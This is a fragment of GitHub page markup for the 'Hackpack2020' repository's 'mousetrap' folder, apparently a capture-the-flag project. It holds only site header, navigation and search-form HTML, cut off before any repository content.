content="dosxuz" /><meta name="octolytics-dimension-repository_id" content="260132292" /><meta name="octolytics-dimension-repository_nwo" content="dosxuz/Hackpack2020" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="260132292" /><meta name="octolytics-dimension-repository_network_root_nwo" content="dosxuz/Hackpack2020" /> <link rel="canonical" href="https://github.com/dosxuz/Hackpack2020/tree/master/mousetrap" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="260132292" data-scoped-search-url="/dosxuz/Hackpack2020/search" data-owner-scoped-search-url="/users/dosxuz/search" data-unscoped-search-url="/search" data-turbo="false" action="/dosxuz/Hackpack2020/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="DphxNNAESLeFt6FrcA69xdQMEsRUOKzu0PWP5Z03BMWW4UUPhsrKYAzezlOEQLs5Bpzjxa9zmK6T3n8KDCogew==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 